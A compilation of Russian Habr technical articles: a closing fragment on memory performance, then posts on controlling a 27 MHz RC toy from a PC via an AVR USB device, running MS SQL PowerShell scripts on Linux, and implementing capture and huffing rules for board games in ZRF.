Мы собрали ряд доказательств, что главная причина проблем с производительностью в нашем примере кода — это указатели доступа к памяти. Дальше минимизируем затраты на доступ к памяти, а затем снова измерим производительность, чтобы понять, удалось ли добиться улучшения. Этим мы и займёмся в следующий раз. | https://habr.com/ru/post/351320/ | null | ru | null |
# Управление RC машинкой 27mhz с компьютера
Накопилось у меня некоторое количество радиоуправляемых игрушек, из тех, которые покупать своим двум детям нельзя: один пульт управляет всем в округе, никакого разделения ни по частотам, ни по кодам. Одновременно играть не получится. У меня эти игрушки работают на частоте 27mhz, но аналогичные могут работать на частотах 35, 40, 49 mhz по тому же простейшему протоколу, о котором и пойдет речь дальше.
Мне пришла мысль заменить пульт управления игрушки компьютером. Основой для подобных мыслей [послужил вот этот пост](https://skootsone.yolasite.com/toy-rc1.php).
Моя идея заключалась в том, чтобы сделать USB девайс, на который можно передавать с компьютера коды команд, а это устройство каждую команду закодирует и выдаст в эфир RC-машинке.
Первым этапом я решил убедиться самостоятельно насколько описанное в вышеприведенном посте подходит к моим RC-игрушкам. Как у автора поста, так и у меня, все игрушки базировались на комплекте популярных микросхем RX-2 для приемника и TX-2 для передатчика. Эти микросхемы имеют 5 входов для считывания кнопок нажатия, которые они кодируют и передают в эфир на выходной каскад. Таким образом, к примеру, нажатие кнопки "вперед" микросхема кодирует следующим образом: заголовок, состоящий из 4 длинных импульсов с заполнением 75% и сам код нажатия - десять коротких импульсов с заполнением 50%.
Список кодов комманд
--------------------
Мое оборудование использовало следующий набор команд:
* `Forward: 10 pulses`
* `Reverse: 40 pulses`
* `Right: 64 pulses`
* `Left: 58 pulses`
* `Forward/Left: 28 pulses`
* `Forward/Right: 34 pulses`
* `Reverse/Left: 52 pulses`
* `Reverse/Right: 46 pulses`
Но было несколько пультов на 27 mhz, которые не работали или работали не корректно с моими игрушками. В интернетах я нашел другой набор команд для подобного оборудования (возможно, для другого набора микросхем, не разбирался).
* `Forward: 16 pulses`
* `Reverse: 40 pulses`
* `Forward/Left: 28 pulses`
* `Forward/Right: 34 pulses`
* `Reverse/Left: 52 pulses`
* `Reverse/Right: 46 pulses`
Итак, я набросал код на C++ для микроконтроллера Atmel AVR Attiny 2313 чтобы убедиться, что эта логика работает. Выходной пин микроконтроллера я подключил к выходному каскаду пульта игрушки чтобы не собирать радиочастотную схему самостоятельно. Эту точку легко найти по пину 8 микросхемы TX-2: именно он является выходом закодированных импульсов нужной длины, которые подаются в этот каскад. Тут можно было бы даже просто взять ножовку и выпилить все кнопки вместе с микросхемой TX-2, но они для подобных экспериментов не мешают поэтому оставил как есть.
Связь с компьютером через USB
-----------------------------
Для связи с компьютером я использовал библиотеку vusb, набросав на универсальной плате обвес по следующей схеме:
Получился вот такой девайс:
Отладка
-------
Код я написал, но вот работать как нужно он отказался. Для отладки пришлось задействовать запылившийся Saleae Logic Analyser. Так я смог заставить соответствовать длины импульсов с моего контроллера тому, что выдавала микросхема TX-2 и тогда все прекрасно заработало.
На фото можно увидеть визуально как кодируется сигнал "вперед", который имеет в своем теле 10 импульсов:
* 4 длинных импульса заголовок: каждый ~1.3ms высокий уровень and ~0.5ms низкий уровень сигнала с 75% заполнением: ~1.8ms всего.
* 10 коротких импульсов: каждый 0.5ms высокий and 0.5ms низкий.
В случае передачи другого кода заголовок остается тем же, а 10 коротких импульсов заменяются на соответствующее другому коду количество.
Код на C++
----------
Для компьютера я сделал программу, которая в цикле читает клавиатуру, кодирует и передает в USB контроллеру. Исходные коды для микроконтроллера и для PC я выложил в общий доступ. Компилировал используя gcc на Linux Gentoo, на Windows не проверял.
[**Github**](https://github.com/carbofos/avr-pc-radio-control-27mhz) | https://habr.com/ru/post/582224/ | null | ru | null |
# Работа с MS SQL из Powershell на Linux
Эта статья чисто практическая и посвящена моей грустной истории
---------------------------------------------------------------
Готовясь к **Zero Touch PROD** для RDS (MS SQL), про который нам прожужжали все уши, я сделал презентацию (POC — Proof Of Concept) автоматизации: набора powershell скриптов. После презентации, когда стихли бурные, продолжительные аплодисменты, переходящие в несмолкаемые овации, мне сказали — все это хорошо, но вот только по идеологическим причинам у нас все Jenkins slaves работают под Linux!
Разве так можно? Взять такого теплого, лампового DBA из под Windows и сунуть его в самое пекло powershell под Linux? Разве это не жестоко?
Пришлось погрузиться в эту странную комбинацию технологий. Разумеется, все мои 30+ скриптов перестали работать. К моему удивлению, за один рабочий день мне все удалось исправить. Пишу по горячим следам. Итак, какие подводные камни могут встретиться вам при переносе powershell скриптов из Windows под Linux?
sqlcmd vs Invoke-SqlCmd
-----------------------
Напомню основную разницу между ними. Старая добрая утилита **sqlcmd** работает и под линуксами, с почти идентичной функциональностью. Кверь для выполнения мы передаем -Q, входной файл как -i, а вывод -o. Вот только имена файлов, разумеется, делаются case-sensitive. Если вы используете -i, то в файле напишите в конце:
```
GO
EXIT
```
Если в конце не будет EXIT, то sqlcmd перейдет к ожиданию ввода, а если перед **EXIT** не будет **GO**, то последняя команда не отработает. В файл вывода попадает весь вывод, selects, сообщения, print итд.
Invoke-SqlCmd выдает результат в виде DataSet, DataTables или DataRows. Поэтому, если обработать результат простого select вы можете и через **sqlcmd**, разобрав его вывод, то вывести что-то сложное практически нереально: для этого есть **Invoke-SqlCmd**. Но есть у этой команды и свои приколы:
* Если вы передаете ей файл через **-InputFile**, то **EXIT** не нужен, более того, он выдает синтаксическую ошибку
* **-OutputFile** нет, команда возвращает вам результат в виде объекта
* Для указания сервера есть два синтаксиса: **-ServerInstance -Username -Password -Database** и через **-ConnectionString**. Как ни странно, в первом случае указать порт, отличный от 1433, не получается.
* текстовый вывод, типа PRINT, который элементарно «ловится» **sqlcmd**, для **Invoke-SqlCmd** [является проблемой](https://stackoverflow.com/questions/4511498/powershell-invoke-sqlcmd-capture-verbose-output)
* И главное: [скорее всего в вашем линуксе этого cmdlet нет!](https://stackoverflow.com/questions/52210823/invoke-sqlcmd-cmlet-missing-in-powershell-core-sqlserver-module-for-linux)
И это главная проблема. Только в марте этот cmdlet [стал доступен для не-windows платформ](http://sqlvariant.com/2019/03/invoke-sqlcmd-is-now-available-cross-platform-in-the-sqlserver-module/), и наконец мы можем двигаться вперед!
Подстановка переменных
----------------------
В sqlcmd есть подстановка переменных с помощью -v, например, так:
```
# $conn содержит начало команды sqlcmd
$cmd = $conn + " -i D:\apps\SlaveJobs\KillSpid.sql -o killspid.res
-v spid =`"" + $spid + "`" -v age =`"" + $age + "`""
Invoke-Expression $cmd
```
В скрипте на SQL мы используем подстановки:
```
set @spid=$(spid)
set @age=$(age)
```
Так вот. В \*nix **подстановки переменных не работают**. Параметр **-v** игнорируется. У **Invoke-SqlCmd** игнорируется **-Variables**. Хотя параметр, который задает сами переменные, игнорируется, сами подстановки работают — вы можете использовать любые переменные из Shell. Однако я обиделся на переменные и решил от них вообще не зависеть, и поступил грубо и примитивно, благо скрипты на sql короткие:
```
# prepend the parameters
"declare @age int, @spid int" | Add-Content "q.sql"
"set @spid=" + $spid | Add-Content "q.sql"
"set @age=" + $age | Add-Content "q.sql"
foreach ($line in Get-Content "Sqlserver/Automation/KillSpid.sql") {
$line | Add-Content "q.sql"
}
$cmd = "/opt/mssql-tools/bin/" + $conn + " -i q.sql -o res.log"
```
Это, как вы поняли, тест уже с юниксовой версии.
Загрузка файлов
---------------
В виндовой версии у меня любая операция сопровождалась аудитом: выполнили sqlcmd, получили какую-то ругань в output file, приложили этот файл к табличке аудита. Благо SQL server работал на том же сервере, что и Jenkins, это делалось примерно так:
```
CREATE procedure AuditUpload
@id int, @filename varchar(256)
as
set nocount on
declare @sql varchar(max)
CREATE TABLE #multi (filer NVARCHAR(MAX))
set @sql='BULK INSERT #multi FROM '''+@filename
+''' WITH (ROWTERMINATOR = ''\0'',CODEPAGE = ''ACP'')'
exec (@sql)
select @sql=filer from #multi
update JenkinsAudit set multiliner=@sql where ID=@id
return
```
Таким образом мы заглатываем файл BCP целиком, и пихаем в поле nvarchar(max) таблицы аудита. Разумеется, вся эта система рассыпалась, так как вместо SQL server я получил RDS, а BULK INSERT вообще по \\UNC не работает из-за попытки взять эксклюзивный лок на файл, а с RDS это вообще изначально обречено. Так что я решил изменить дизайн системы, храня аудит построчно:
```
CREATE TABLE AuditOut (
ID int NULL,
TextLine nvarchar(max) NULL,
n int IDENTITY(1,1) PRIMARY KEY
)
```
И писать в эту таблицу так:
```
function WriteAudit([string]$Filename, [string]$ConnStr,
[string]$Tabname, [string]$Jobname)
{
# get $lastid of the last execution -- проскипано для статьи
#create grid and populate it with data from file
$audit = Get-Content $Filename
$DT = new-object Data.DataTable
$COL1 = new-object Data.DataColumn;
$COL1.ColumnName = "ID";
$COL1.DataType = [System.Type]::GetType("System.Int32")
$COL2 = new-object Data.DataColumn;
$COL2.ColumnName = "TextLine";
$COL2.DataType = [System.Type]::GetType("System.String")
$DT.Columns.Add($COL1)
$DT.Columns.Add($COL2)
foreach ($line in $audit)
{
$DR = $dt.NewRow()
$DR.Item("ID") = $lastid
$DR.Item("TextLine") = $line
$DT.Rows.Add($DR)
}
# write it to table
$conn=new-object System.Data.SqlClient.SQLConnection
$conn.ConnectionString = $ConnStr
$conn.Open()
$bulkCopy = new-object ("Data.SqlClient.SqlBulkCopy") $ConnStr
$bulkCopy.DestinationTableName = $Tabname
$bulkCopy.BatchSize = 50000
$bulkCopy.BulkCopyTimeout = 0
$bulkCopy.WriteToServer($DT)
$conn.Close()
}
```
Для выбора содержимого надо делать select по ID, выбирая в порядке n (identity).
В следующей статье я более подробно остановлюсь на том, как это все взаимодействует с Jenkins. | https://habr.com/ru/post/447100/ | null | ru | null |
# Dagaz: Пинки здравому смыслу (часть 7)
 ***— Знаешь свой главный грех?
— Какого черта? я обожаю все семь…
но сейчас… я готов дать волю гневу!
Малькольм Рейнольдс "[Миссия Серенити](http://www.kinopoisk.ru/film/61455/)"***
По мере того, как мой личный "[рейтинг неприятностей](http://habrahabr.ru/post/248639/)" стремительно движется к завершению, становится всё сложнее добиваться от [Zillions of Games](http://www.zillions-of-games.com/) требуемого поведения. Некоторые правила очень легко сформулировать, но они способны попортить разработчику немало крови. «Правило гнева» — одно из них.
#### **4. За фук!**
Возможность снятия с доски фигур (своих или противника) бывает очень полезна. За примерами далеко ходить не надо. Я уже [писал](http://habrahabr.ru/post/255621/) об игре "[Фокус](http://www.di.fc.ul.pt/~jpn/gv/focus.htm)", описанной Мартином Гарднером в его "[Математических досугах](http://www.twirpx.com/file/67840/)". Играть в неё не просто, но удовольствие от игры может несколько омрачить факт наличия очень простой беспроигрышной стратегии для второго игрока. Повторяя каждый ход противника симметрично относительно центра доски, он может затянуть игру до бесконечности:
Каждым своим ходом, второй игрок восстанавливает центральную симметрию, нарушенную предыдущим ходом. Поскольку фигуры не могут перемещаться по диагоналям, первый игрок не может нарушить симметрию невосстановимым (за один ход) образом, следовательно — его противник не может проиграть, в точности повторяя все ходы. Очевидно, что справиться с этим недостатком можно лишь нарушив первоначальную симметричную расстановку фигур.
В качестве первого хода, каждый из игроков может удалить по одной фигуре с доски (разумеется, следует запретить второму игроку удаление фигуры расположенной симметрично по отношению к ходу сделанному первым игроком). В ZRF отсутствует возможность формирования ходов, ограничивающихся лишь удалением с доски некоторых фигур, но можно схитрить. Этот код приведёт к желаемому результату:
**Удаление фигуры**
```
(define capture-enemy (
(verify enemy?)
(verify (not is-protected?))
mark sym
(set-attribute is-protected? true)
back
capture
add
))
...
(piece
...
(drops (move-type capturing)
(capture-enemy)
)
)
```
Здесь **sym** — направление, попарно связывающее поля доски, расположенные симметрично. Фактически мы не удаляем, а помещаем на доску некую вспомогательную фигуру. Фигура, размещавшаяся ранее на целевом поле, удаляется автоматически, а саму добавленную фигуру мы удаляем командой **capture**, перед завершением хода командой **add**. В ZSG-нотации такой ход выглядит следующим образом:
```
1. White t e6 x e6
```
Ещё проще выполнить «переключение» фигуры, изменив цвет противника на свой (достаточно закомментировать команду **capture** в приведённом выше фрагменте кода), но уже здесь нас подстерегает первая засада. Можно поместить свою фигуру поверх фигуры противника, но не наоборот! ZoG разрешает играть лишь своими фигурами. К счастью, в данном случае, это не очень значимое ограничение. Добровольное удаление с доски своих фигур (а тем более замена их фигурами противника) — не самая удачная мысль. Поскольку нам вряд ли удастся убедить противника поступить столь же благородно, дело закончится гигантским дисбалансом в самом начале игры.
Разумеется, «Фокус» — не единственная игра, в которой ходы, выполняющие удаление произвольных фигур оказываются востребованными. В 30-е годы прошлого века, в СССР активно пропагандировалась игра "[Шахбой](http://gest.livejournal.com/889387.html?thread=3121963)", в которой фигуры на игровом поле символизировали силы пехоты, авиации и артиллерии. Артиллерия, в этой игре, представляла собой грозную силу, поскольку могла уничтожать фигуры противника, буквально «не сходя с места». Это могло полностью разрушить игровой баланс, но проблема была решена весьма оригинальным образом.
Самая слабая фигура «пехотинца», в этой игре, доходя до противоположного края доски, не превращалась в какую либо другую фигуру. В самом деле, игра выглядела бы очень странно, если бы пехотинец, дойдя до лагеря противника, превращался в танк или самолёт (не говоря уже о «штабе»). Пройдя через всё поле боя, «пехотинец» убирался с доски, но имел право «выполнить диверсию» — убрать с доски любую фигуру противника на выбор (кроме «штаба», конечно). Другое правило позволяло «пехотинцу» перепрыгивать через чёрные поля доски (не занятые другими фигурами), что позволяло эффективно «просачиваться» сквозь артиллеристские заслоны.
В различных вариантах "[Мельницы](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BB%D1%8C%D0%BD%D0%B8%D1%86%D0%B0_(%D0%B8%D0%B3%D1%80%D0%B0))", являющихся переходной формой между "[Крестиками-ноликами](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B5%D1%81%D1%82%D0%B8%D0%BA%D0%B8-%D0%BD%D0%BE%D0%BB%D0%B8%D0%BA%D0%B8)" и играми семейства [шашек](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8), удаление произвольных фигур противника выполняется при выстраивании в ряд трёх своих фишек. В начале игры, фишки, принадлежащие игрокам, поочерёдно выкладываются на пустую доску, после чего их разрешается двигать по линиям доски. В существующих ZoG-реализациях, удаление фигуры противника совмещено с ходом, выстраивающим «мельницу» (линию из 3 фишек в ряд).
**Взятие произвольной фигуры в ''Мельнице''**
```
(define take-piece
a1
(while (on-board? next)
(if enemy? mark
(not-in-a-mill n s) back
(if (flag? eatit)
(not-in-a-mill e w) back
(if (flag? eatit)
(not-in-a-mill in out) back
(if (flag? eatit)
capture add (set-flag writeit false)
)
)
)
)
next
)
)
(define check-mill (set-flag mill false)
(check-dir1 n s)(check-dir2 n s)(check-dir3 n s)
(check-dir1 e w)(check-dir2 e w)(check-dir3 e w)
(check-dir1 in out)(check-dir2 in out)(check-dir3 in out)
to
(if (flag? mill)
(take-piece)
)
)
(define shift
(
mark $1
(verify empty?)
(set-flag writeit true)
(check-mill)
(if (flag? writeit)
add
)
)
)
```
Здесь стоит обратить внимание на использование флага **writeit**. Формирование «тихого» хода (командой **add**) в макросе перемещения фишки (**shift**) происходит лишь в том случае, если не найдено ни одного варианта удаления вражеской фишки. В свою очередь, каждая команда **add**, выполняемая после взятия (**capture**) в макросе **take-piece** приводит к формированию независимого варианта хода (одновременно запрещая формирование «тихого» хода).
Это весьма интересная реализация алгоритма взятия «Мельницы», не покрывающая, к сожалению, всех возможных ситуаций этой игры. По некоторым вариантам правил, одновременное выстраивание нескольких рядов фишек должно обеспечивать возможность снятия соответствующего количества фишек противника. Попытка решения этой задачи представленным выше алгоритмом приводит к «комбинаторному взрыву». В своей [реализации](https://github.com/GlukKazan/ZoG/blob/master/Rules/bolotoudou.zrf) похожей африканской игры "[Болотуду](https://ru.wikipedia.org/wiki/%D0%91%D0%BE%D0%BB%D0%BE%D1%82%D1%83%D0%B4%D1%83)" я решил применить другой подход:
**Взятие фигур в ''Болотуду''**
```
(define my-friend?
(and (in-zone? inner $1)
(not (position-flag? from? $1))
(friend? $1)
)
)
(define check-side
(set-flag is-checked? false)
(if (my-friend? $1)
mark $1
(if (my-friend? $1)
(set-flag is-checked? true)
(set-flag is-accepted? false)
(set-position-flag is-marked? true $2)
(set-position-flag is-marked? true $3)
$1
(set-position-flag is-marked? true $2)
(set-position-flag is-marked? true $3)
)
back
(if (flag? is-checked?)
(set-position-flag is-marked? true $2)
(set-position-flag is-marked? true $3)
)
)
)
(define check-middle
(if (and (my-friend? $1) (my-friend? $2))
(set-flag is-accepted? false)
mark
$1
(set-position-flag is-marked? true $3)
(set-position-flag is-marked? true $4)
$2 $2
(set-position-flag is-marked? true $3)
(set-position-flag is-marked? true $4)
back
(set-position-flag is-marked? true $3)
(set-position-flag is-marked? true $4)
)
)
(define shift-man (
(set-position-flag from? true)
(verify (in-zone? inner))
$1
(verify (in-zone? inner))
(verify empty?)
(set-flag is-accepted? true)
(check-side $1 $2 $4)
(check-side $2 $3 $1)
(check-side $4 $1 $3)
(check-middle $2 $4 $1 $3)
(if (not-flag? is-accepted?)
mark a0
(while (on-board? next)
next
(if (and enemy? (position-flag? is-marked?))
(set-attribute is-capturing? true)
)
)
back
)
add
))
...
(piece
(name Man)
...
(attribute is-capturing? false)
(drops
(move-type droptype)
(drop-man)
)
(moves
(move-type normaltype)
(shift-man n e s w)
(shift-man e s w n)
(shift-man s w n e)
(shift-man w n e s)
)
)
```
В этой игре, выстраивание ряда из трёх фигур, также как и в «Мельнице», даёт возможность боя фигуры противника, но не любой, а лишь «примыкающей к тройке сбоку». Для того, чтобы понять, что под этим имеется в виду, пришлось воспроизвести партию этой игры по следующей [записи](http://worldofchildren.ru/vospitatelyam-uchitelyam-pedagogam.html?id=1362). Сразу скажу, что качество этой нотации ужасно. Скан с какой-то неизвестной мне книги не потрудились вычистить от ошибок распознавания. Впрочем, имея перед глазами доску, ход партии восстановить [удалось](https://github.com/GlukKazan/ZoG/blob/master/Rules/bolotoudou.zsg) (некоторые ходы игроков не показались мне особо умными).
Фрагмент кода, приведённый выше, основан на анализе этой партии. Макросы **check-side** и **check-middle** не только проверяют формирование троек, но и помечают поля, находящиеся «под боем» позиционным флагом **is-marked?**. Поскольку все флаги (включая позиционные) автоматически очищаются в начале каждого хода, не требуется выполнять какую либо «чистку мусора», по завершении расчёта хода. По той же причине, полученную информацию о возможном бое фигур приходится передавать в следующий ход, установкой атрибута **is-capturing?**. Следующим ходом, разрешается удалить любую фигуру, у которой установлен этот атрибут. Такой подход представляется мне более гибким, кроме того, удаление фигуры, выполненное отдельным ходом, более наглядно, чем выбор из длинного списка возможных ходов, формируемых «Мельницей».
Графические ресурсы я взял из [реализации](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=960) другой африканской [игры](http://en.wikipedia.org/wiki/Yot%C3%A9). Ситуация была совершенно анекдотична. Когда я уже практически полностью реализовал игровой алгоритм, ZoG преподнесла сюрприз:
```
(loss-condition (White Black) (pieces-remaining 2))
```
Партия в «Болотуду» начинается с установки фигур парами на пустую доску. Указанная выше строка завершала игру в момент добавления второй фигуры любым из игроков. Потребовалось реализовать одноразовый «резерв» для того, чтобы фигуры учитывались ZoG уже на этапе добавления фигур на доску. Поскольку рисовать и настраивать доску с «резервом» сил уже не было, я взял подходящее определение доски из «Йотай».
Кстати, «Йотай» тоже подходит под тему сегодняшнего разговора. Эта игра ещё более похожа на шашки. Взятия в ней осуществляются привычным нам «перепрыгиванием» через фигуру противника. Как и в шашках, допускается несколько взятий «по цепочке» за ход. Отличие в том, что на каждую взятую фигуру, игрок имеет права взять **ещё одну** (любую) фигуру противника. Такая «положительная обратная связь» приводит к тому, что любой полученный перевес быстро приводит к победе (ничьи в этой игре бывают редко), а сам характер игры весьма подходит для темпераментных жителей африканского континента.
Но не следует думать, что подобные правила встречаются лишь в экзотических играх. Многие из тех, кто играл в шашки в детстве, наверняка помнят правило, по которому фигура, «прозевавшая» возможность боя, могла быть удалена с доски «за фук». Это правило ни в коем случае не изобретение «Русских шашек»! Точно также «профукать» (**huffing**) фигуру можно и в английских [Checkers](http://en.wikipedia.org/wiki/Huff_(board_games)). Многие исследователи сходятся к тому, что подобное «правило гнева» существовало уже в прародителе всех шашечных игр — [Алькуэрке](http://skyruk.livejournal.com/249847.html).
В отношении самого «правила гнева» история вынесла практически однозначный приговор. Применение этого правила в шашках делает практически невозможной хоть сколь-нибудь сложную комбинационную игру. Действительно, в большинстве случаев, игроку гораздо выгоднее отдать «за фук» одну фигуру чем позволить заманить себя в ловушку, в результате которой он может потерять гораздо больше! Не удивительно, что в большинстве современных вариантов шашек «правило гнева» было упразднено.
В настоящее время, оно применяется лишь в некоторых африканских вариантах, таких как [Damii](http://docslide.us/documents/damii-ghana-draughts-history-rules.html), в которую играют на территории республики [Гана](https://ru.wikipedia.org/wiki/%D0%93%D0%B0%D0%BD%D0%B0). Как и многие другие африканские игры, этот вариант шашек играется «на скорость» и «зевки» в нём — важный элемент тактики. В остальном, правила Damii аналогичны "[Международным шашкам](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D0%B4%D1%83%D0%BD%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D1%8B%D0%B5_%D1%88%D0%B0%D1%88%D0%BA%D0%B8)".
В качестве своего рода «интеллектуальной гимнастики», я решил [реализовать](https://github.com/GlukKazan/ZoG/commits/master/Rules/HuffCheckers.zrf) шашки «с зевками» на ZRF. Первый шаг был очевиден — поскольку для игрока требовалось обеспечить максимальную свободу выбора, я отключил приоритеты взятий, правило большинства и разрешил прерывание цепочки взятий. В этой игре, игрок **не обязан** «есть» фигуры противника, но если его шашки что-то «недоели», противник имеет право удалить любую из них с доски. Фигуры, подпадающие под действие «правила гнева» я решил помечать атрибутами. Немедленно сформировался следующий нехитрый алгоритм:
1. По завершении своего хода, для всех фигур противника, выполнять проверку возможности боя своих фигур (фигуры, способные выполнить бой, помечать атрибутом)
2. При выполнении противником взятия, очищать атрибуты на всех его фигурах (при выполнении тихого хода — атрибуты не трогать)
3. Если какая либо из фигур противника помечена атрибутом, взять её (очистив атрибуты на всех остальных фигурах)
4. Выполнить очередной свой ход
На бумаге всё было гладко. Разумеется, ZoG немедленно принялась вносить свои коррективы. Первое с чем приходится сталкиваться при реализации чего-то более менее сложного в ZRF — не очень внятная модель перемещения фигур. Вплоть до завершения хода, фигура в ZoG остаётся «как бы» на своей начальной позиции и, в большинстве случаев, это дьявольски неудобно. Приходится «помнить» о том, что стартовое поле «на самом деле» пустое, а конечное — заполнено перемещаемой фигурой. В результате получаются следующие макросы:
**Борьба с ZoG**
```
(define my-friend?
(and
(not (position-flag? from? $1))
(or (position-flag? to? $1)
(friend? $1)
)
)
)
(define my-empty?
(and (not (position-flag? to? $1))
(or (position-flag? from? $1)
(empty? $1)
)
)
)
```
Разумеется, позиционные флаги **from?** и **to?** требуется ещё и правильно заполнить, да и сами макросы пришли к своему конечному варианту [не сразу](https://github.com/GlukKazan/ZoG/commit/ff1099c8c062e155248e41ea0c08dc51331b5d76). Следующей стала проблема удаления помеченных фигур. Взяв фигуру «за фук» игрок должен выполнить ещё один ход, без передачи хода противнику. Мне не хотелось изменять порядок ходов в **turn-order** (на то были причины) и я решил [блокировать](https://github.com/GlukKazan/ZoG/commit/94ed96a13cb00df6a9d936bea0acbed450542bf8) возможность последующего хода, размещением на поле специальной невидимой фигуры (удаляемой по завершении обычного хода). Для того, чтобы игрок мог пропустить ход, пришлось активировать соответствующую опцию:
```
(option "pass turn" forced)
```
Далее, одно потянуло за собой другое. Опция "**pass turn**" управляет возможностью пропуска хода игроком (то есть добавляет к списку сгенерированных ходов пустой ход — **pass**). При установке значения "**forced**", её действие ещё хитрее — пас возможен лишь при отсутствии любых других возможных ходов (и пропуск хода, в этом случае, выполняется автоматически). К сожалению, по самой своей сути, эта опция совершенно несовместима со следующим условием завершения игры:
```
(loss-condition (First Second) stalemated)
```
И это очень плохо, поскольку завершение игры поражением игрока, при отсутствии возможности хода, едва ли не главное из того, что есть в шашках. Где-то в другом, более идеальном мире, хотелось бы, чтобы работала следующая конструкция (но это пустые мечты):
```
(loss-condition (First Second) (and stalemated (total-piece-count 0 Lock) ) )
```
Пропуск хода пришлось делать «вручную». На самом деле, это [не так страшно](https://github.com/GlukKazan/ZoG/commit/133c7738a0ca0720d9c46b479d10495e88944962) как звучит. Требуется всего лишь реализовать «кнопку», на которую будет нажимать игрок, выполняя «пропуск хода». Поле **a8** (на 64-клеточной доске) — подходящее место для её размещения (поскольку нормальные фигуры на него не заходят). Есть правда один минус — в отличии от честного "**pass turn forced**", эта кнопка сама «нажиматься» не будет. С другой стороны, в код обработки этого хода, можно поместить любую дополнительную логику, например очистку атрибутов (в текущей реализации это не понадобилось, но так везёт не всегда). В конечном итоге, с "[Английскими шашками](http://en.wikipedia.org/wiki/English_draughts)" всё получилось, но дальнобойные дамки — дело другое:
**Русские шашки (с ''зевками'')**
```
(define check-huff
(if (and (on-board? $1) (my-friend? $1))
$1
(if (and (on-board? $1) (my-empty? $1))
(set-flag is-huffing? true)
)
$2
)
)
(define check-huff-2
(set-flag is-huffing? false)
(if (and (on-board? $1) (empty? $1))
$1 (check-huff $1 $2) $2
)
(if (and (flag? is-huffing?) (not is-huff?))
(set-attribute is-huff? true)
)
)
...
(define check-huff-6
(set-flag is-huffing? false)
(if (and (on-board? $1) (empty? $1))
$1 (check-huff-5 $1 $2) $2
)
(if (and (flag? is-huffing?) (not is-huff?))
(set-attribute is-huff? true)
)
)
(define check-long-enemies
(set-position-flag to? true)
mark
a0
(while (on-board? next)
next
(if enemy?
(if is-huff?
(set-attribute is-huff? false)
)
(check-huff-1 sw ne) (check-huff-1 se nw)
(check-huff-1 ne sw) (check-huff-1 nw se)
(if (piece? King)
(check-huff-2 sw ne) (check-huff-2 se nw)
(check-huff-2 ne sw) (check-huff-2 nw se)
(check-huff-3 sw ne) (check-huff-3 se nw)
(check-huff-3 ne sw) (check-huff-3 nw se)
(check-huff-4 sw ne) (check-huff-4 se nw)
(check-huff-4 ne sw) (check-huff-4 nw se)
(check-huff-5 sw ne) (check-huff-5 se nw)
(check-huff-5 ne sw) (check-huff-5 nw se)
(check-huff-6 sw ne) (check-huff-6 se nw)
(check-huff-6 ne sw) (check-huff-6 nw se)
)
)
)
back
)
(define king-jump (
(check-lock)
(set-position-flag from? true)
(while (empty? $1)
$1
)
(verify (enemy? $1))
$1
(set-position-flag from? true)
(verify (empty? $1))
$1
(while empty?
(clear-enemy-huffs)
mark
(while empty?
(opposite $1)
)
(verify enemy?)
capture
back
(clear-huffs)
(clear-lock)
(set-flag more-captures false)
(king-captured-find $1)
(king-captured-find $2)
(king-captured-find $3)
(if (flag? more-captures)
(set-attribute is-huff? true)
(add-partial jumptype)
else
(check-long-enemies)
(set-attribute is-huff? false)
(add-partial notype)
)
$1
)
))
(define king-shift (
(check-lock)
(set-position-flag from? true)
(while (empty? $1)
(clear-enemy-huffs)
$1
(check-long-enemies)
(clear-lock)
add
)
))
```
Этот вариант даже работал, пока дело не доходило до дамок. Дамки вели себя загадочно:
Загадка разрешилась просто. Дальнобойная дамка может остановиться на любом поле, по пути следования, следовательно для каждого из них должна быть проведена проверка возможности боя вражескими фигурами. Флаг, для дамки на **h8**, устанавливался при прохождении чёрной дамкой поля **b2**, но уже не сбрасывался в начале следующей итерации цикла. Подобным играм со значениями атрибутов не место в цикле генерации хода. Старый добрый «копипаст» в очередной раз пришёл на помощь:
**Исправленная реализация**
```
(define king-jump-1 (
(check-lock)
(set-position-flag from? true)
(while (empty? $1)
$1
)
(verify (enemy? $1))
$1
capture
(set-position-flag from? true)
$1
(verify empty?)
(clear-huffs)
(clear-lock)
(set-flag more-captures false)
(king-captured-find $1)
(king-captured-find $2)
(king-captured-find $3)
(if (flag? more-captures)
(set-attribute is-huff? true)
(add-partial jumptype)
else
(check-long-enemies)
(set-attribute is-huff? false)
(add-partial notype)
)
))
...
(define king-jump-6 (
(check-lock)
(set-position-flag from? true)
(while (empty? $1)
$1
)
(verify (enemy? $1))
$1
capture
(set-position-flag from? true)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
(clear-huffs)
(clear-lock)
(set-flag more-captures false)
(king-captured-find $1)
(king-captured-find $2)
(king-captured-find $3)
(if (flag? more-captures)
(set-attribute is-huff? true)
(add-partial jumptype)
else
(check-long-enemies)
(set-attribute is-huff? false)
(add-partial notype)
)
))
(define king-shift-1 (
(check-lock)
(set-position-flag from? true)
$1
(verify empty?)
(check-long-enemies)
(clear-lock)
add
))
...
(define king-shift-7 (
(check-lock)
(set-position-flag from? true)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
$1
(verify empty?)
(check-long-enemies)
(clear-lock)
add
))
(variant
(title "Russian Checkers (with huffs)")
; (option "maximal captures" true) ; AI Bug
; (option "pass partial" false)
(piece
(name Checker)
(image First "images/wiedem/CheckerWhite.bmp"
Second "images/wiedem/CheckerBlack.bmp")
(attribute is-huff? false)
(drops (move-type normaltype)
(capture-huff)
)
(moves (move-type jumptype)
(long-checker-jump nw sw ne)
(long-checker-jump ne se nw)
(long-checker-jump sw se nw)
(long-checker-jump se ne sw)
(move-type normaltype)
(long-checker-jump nw sw ne)
(long-checker-jump ne se nw)
(long-checker-jump sw se nw)
(long-checker-jump se ne sw)
(long-checker-shift nw)
(long-checker-shift ne)
(move-type notype)
)
)
(piece
(name King)
(image First "images/wiedem/CheckerKingWhite.bmp"
Second "images/wiedem/CheckerKingBlack.bmp")
(attribute is-huff? false)
(moves (move-type jumptype)
(king-jump-1 nw sw ne) (king-jump-1 ne se nw) (king-jump-1 sw se nw) (king-jump-1 se ne sw)
